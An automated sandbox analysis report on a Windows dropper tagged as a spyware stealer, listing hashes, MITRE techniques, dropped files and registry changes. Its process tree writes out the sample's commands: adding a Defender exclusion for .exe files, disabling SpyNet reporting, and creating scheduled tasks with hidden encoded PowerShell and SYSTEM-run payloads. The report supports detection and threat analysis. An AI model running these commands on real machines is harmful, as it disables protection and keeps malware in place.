69dfb52da4eeb041285f40f1e3bc47b2aa3fe3df53fd44e55163ac7b00ac4720

Analysis

max time kernel
152s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
03-10-2022 04:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

582c3cefde9a4dd644e687bf315fe89e
SHA1

dc1f560edc73d1d190e56ba14a9764102dc43662
SHA256

69dfb52da4eeb041285f40f1e3bc47b2aa3fe3df53fd44e55163ac7b00ac4720
SHA512

dca99c8323f2cc8ba508ec6099ea69dddb50745d4e063c3ace84dc0bd55d2d1794c0d79fab3c9aae08a1483af7db6ad36d9b3f9e407bd706e1fb0529f4939ec5
SSDEEP

196608:91Oq5DXMkYlnLY4sb03Tz1aVNAwxyTPiWV/cvIK5sT14SZg:3OebAKI3sVNAwxSiWV/cwK62cg

Score

8^/10

spyware stealer

Malware Config

Signatures

Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeDruHcaq.exeVAklVcz.exe

pid process

4452 Install.exe
4844 Install.exe
4336 DruHcaq.exe
2380 VAklVcz.exe
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Install.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Install.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation Install.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4452	Install.exe
4844	Install.exe
4336	DruHcaq.exe
2380	VAklVcz.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Install.exe

Drops Chrome extension 3 IoCs

Processes:

VAklVcz.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	VAklVcz.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	VAklVcz.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\goiejopegncpjmocklmfiipofdbkhpic\1.0.0.0\manifest.json	VAklVcz.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

VAklVcz.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini VAklVcz.exe

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	VAklVcz.exe

Drops file in System32 directory 31 IoCs

Processes:

VAklVcz.exepowershell.exepowershell.exeDruHcaq.exeInstall.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_1ACD2B4A039DF3260017F7BF28EE7323	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_1ACD2B4A039DF3260017F7BF28EE7323	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\48F3BB146086CEF37D471FBE460215C9	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	VAklVcz.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	DruHcaq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	VAklVcz.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	DruHcaq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\48F3BB146086CEF37D471FBE460215C9	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_D4DDF242A8972F898C0FE0D6EA6919E3	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_CD6513E45B8AAEA8DF3E8B0C926693B8	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_D4DDF242A8972F898C0FE0D6EA6919E3	VAklVcz.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	VAklVcz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_CD6513E45B8AAEA8DF3E8B0C926693B8	VAklVcz.exe

Drops file in Program Files directory 13 IoCs

Processes:

VAklVcz.exe

description	ioc	process
File created	C:\Program Files (x86)\VnSvEXTIbraTatzTOsR\mrbQKcE.dll	VAklVcz.exe
File created	C:\Program Files (x86)\VnSvEXTIbraTatzTOsR\mbuCyuW.xml	VAklVcz.exe
File created	C:\Program Files (x86)\LCMDmHxGrLJHC\ltmXNHy.dll	VAklVcz.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	VAklVcz.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	VAklVcz.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	VAklVcz.exe
File created	C:\Program Files (x86)\jIUrjTqJU\BRjYyMj.xml	VAklVcz.exe
File created	C:\Program Files (x86)\twylNxKJekDU2\JZXlMoH.xml	VAklVcz.exe
File created	C:\Program Files (x86)\LCMDmHxGrLJHC\jnFLWIq.xml	VAklVcz.exe
File created	C:\Program Files (x86)\jIUrjTqJU\VNIYkW.dll	VAklVcz.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	VAklVcz.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	VAklVcz.exe
File created	C:\Program Files (x86)\twylNxKJekDU2\gVHNLIPYykiWJ.dll	VAklVcz.exe

Drops file in Windows directory 3 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\HqggdVJZxuzvaULcA.job	schtasks.exe
File created	C:\Windows\Tasks\IyXvSOFErlMUKai.job	schtasks.exe
File created	C:\Windows\Tasks\bGZpGlqvDNKjraWjlZ.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
3288	schtasks.exe
2796	schtasks.exe
1320	schtasks.exe
4268	schtasks.exe
2420	schtasks.exe
3404	schtasks.exe
4216	schtasks.exe
2752	schtasks.exe
2608	schtasks.exe
1372	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exeVAklVcz.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	VAklVcz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{5d2b4a7c-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	VAklVcz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{5d2b4a7c-0000-0000-0000-d01200000000}\MaxCapacity = "15140"	VAklVcz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	VAklVcz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	VAklVcz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	VAklVcz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{5d2b4a7c-0000-0000-0000-d01200000000}	VAklVcz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	VAklVcz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "1"	VAklVcz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	VAklVcz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	VAklVcz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.EXEVAklVcz.exe

pid	process
4228	powershell.EXE
4228	powershell.EXE
1352	powershell.exe
1352	powershell.exe
2160	powershell.exe
2160	powershell.exe
4296	powershell.EXE
4296	powershell.EXE
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe
2380	VAklVcz.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.EXE

description	pid	process
Token: SeDebugPrivilege	4228	powershell.EXE
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	4296	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exepowershell.EXEDruHcaq.exepowershell.execmd.exe

description	pid	process	target process
PID 1696 wrote to memory of 4452	1696	file.exe	Install.exe
PID 1696 wrote to memory of 4452	1696	file.exe	Install.exe
PID 1696 wrote to memory of 4452	1696	file.exe	Install.exe
PID 4452 wrote to memory of 4844	4452	Install.exe	Install.exe
PID 4452 wrote to memory of 4844	4452	Install.exe	Install.exe
PID 4452 wrote to memory of 4844	4452	Install.exe	Install.exe
PID 4844 wrote to memory of 3424	4844	Install.exe	forfiles.exe
PID 4844 wrote to memory of 3424	4844	Install.exe	forfiles.exe
PID 4844 wrote to memory of 3424	4844	Install.exe	forfiles.exe
PID 4844 wrote to memory of 2480	4844	Install.exe	forfiles.exe
PID 4844 wrote to memory of 2480	4844	Install.exe	forfiles.exe
PID 4844 wrote to memory of 2480	4844	Install.exe	forfiles.exe
PID 3424 wrote to memory of 2936	3424	forfiles.exe	cmd.exe
PID 3424 wrote to memory of 2936	3424	forfiles.exe	cmd.exe
PID 3424 wrote to memory of 2936	3424	forfiles.exe	cmd.exe
PID 2480 wrote to memory of 2344	2480	forfiles.exe	cmd.exe
PID 2480 wrote to memory of 2344	2480	forfiles.exe	cmd.exe
PID 2480 wrote to memory of 2344	2480	forfiles.exe	cmd.exe
PID 2344 wrote to memory of 4004	2344	cmd.exe	reg.exe
PID 2344 wrote to memory of 4004	2344	cmd.exe	reg.exe
PID 2344 wrote to memory of 4004	2344	cmd.exe	reg.exe
PID 2936 wrote to memory of 212	2936	cmd.exe	reg.exe
PID 2936 wrote to memory of 212	2936	cmd.exe	reg.exe
PID 2936 wrote to memory of 212	2936	cmd.exe	reg.exe
PID 2936 wrote to memory of 312	2936	cmd.exe	reg.exe
PID 2936 wrote to memory of 312	2936	cmd.exe	reg.exe
PID 2936 wrote to memory of 312	2936	cmd.exe	reg.exe
PID 2344 wrote to memory of 2952	2344	cmd.exe	reg.exe
PID 2344 wrote to memory of 2952	2344	cmd.exe	reg.exe
PID 2344 wrote to memory of 2952	2344	cmd.exe	reg.exe
PID 4844 wrote to memory of 2420	4844	Install.exe	schtasks.exe
PID 4844 wrote to memory of 2420	4844	Install.exe	schtasks.exe
PID 4844 wrote to memory of 2420	4844	Install.exe	schtasks.exe
PID 4844 wrote to memory of 3760	4844	Install.exe	schtasks.exe
PID 4844 wrote to memory of 3760	4844	Install.exe	schtasks.exe
PID 4844 wrote to memory of 3760	4844	Install.exe	schtasks.exe
PID 4228 wrote to memory of 1264	4228	powershell.EXE	gpupdate.exe
PID 4228 wrote to memory of 1264	4228	powershell.EXE	gpupdate.exe
PID 4844 wrote to memory of 4296	4844	Install.exe	schtasks.exe
PID 4844 wrote to memory of 4296	4844	Install.exe	schtasks.exe
PID 4844 wrote to memory of 4296	4844	Install.exe	schtasks.exe
PID 4844 wrote to memory of 1372	4844	Install.exe	schtasks.exe
PID 4844 wrote to memory of 1372	4844	Install.exe	schtasks.exe
PID 4844 wrote to memory of 1372	4844	Install.exe	schtasks.exe
PID 4336 wrote to memory of 1352	4336	DruHcaq.exe	powershell.exe
PID 4336 wrote to memory of 1352	4336	DruHcaq.exe	powershell.exe
PID 4336 wrote to memory of 1352	4336	DruHcaq.exe	powershell.exe
PID 1352 wrote to memory of 4740	1352	powershell.exe	cmd.exe
PID 1352 wrote to memory of 4740	1352	powershell.exe	cmd.exe
PID 1352 wrote to memory of 4740	1352	powershell.exe	cmd.exe
PID 4740 wrote to memory of 4204	4740	cmd.exe	reg.exe
PID 4740 wrote to memory of 4204	4740	cmd.exe	reg.exe
PID 4740 wrote to memory of 4204	4740	cmd.exe	reg.exe
PID 1352 wrote to memory of 3936	1352	powershell.exe	reg.exe
PID 1352 wrote to memory of 3936	1352	powershell.exe	reg.exe
PID 1352 wrote to memory of 3936	1352	powershell.exe	reg.exe
PID 1352 wrote to memory of 4012	1352	powershell.exe	reg.exe
PID 1352 wrote to memory of 4012	1352	powershell.exe	reg.exe
PID 1352 wrote to memory of 4012	1352	powershell.exe	reg.exe
PID 1352 wrote to memory of 2884	1352	powershell.exe	reg.exe
PID 1352 wrote to memory of 2884	1352	powershell.exe	reg.exe
PID 1352 wrote to memory of 2884	1352	powershell.exe	reg.exe
PID 1352 wrote to memory of 2564	1352	powershell.exe	reg.exe
PID 1352 wrote to memory of 2564	1352	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1696

C:\Users\Admin\AppData\Local\Temp\7zSF002.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4452

C:\Users\Admin\AppData\Local\Temp\7zSF4E4.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4844

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:3424

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:2936

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:212

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:312

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:2480

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:2344

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:4004

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:2952

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gxVAHmYVA" /SC once /ST 04:48:42 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:2420

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gxVAHmYVA"
4⤵
PID:3760

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gxVAHmYVA"
4⤵
PID:4296

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bGZpGlqvDNKjraWjlZ" /SC once /ST 06:03:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\DruHcaq.exe\" d8 /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
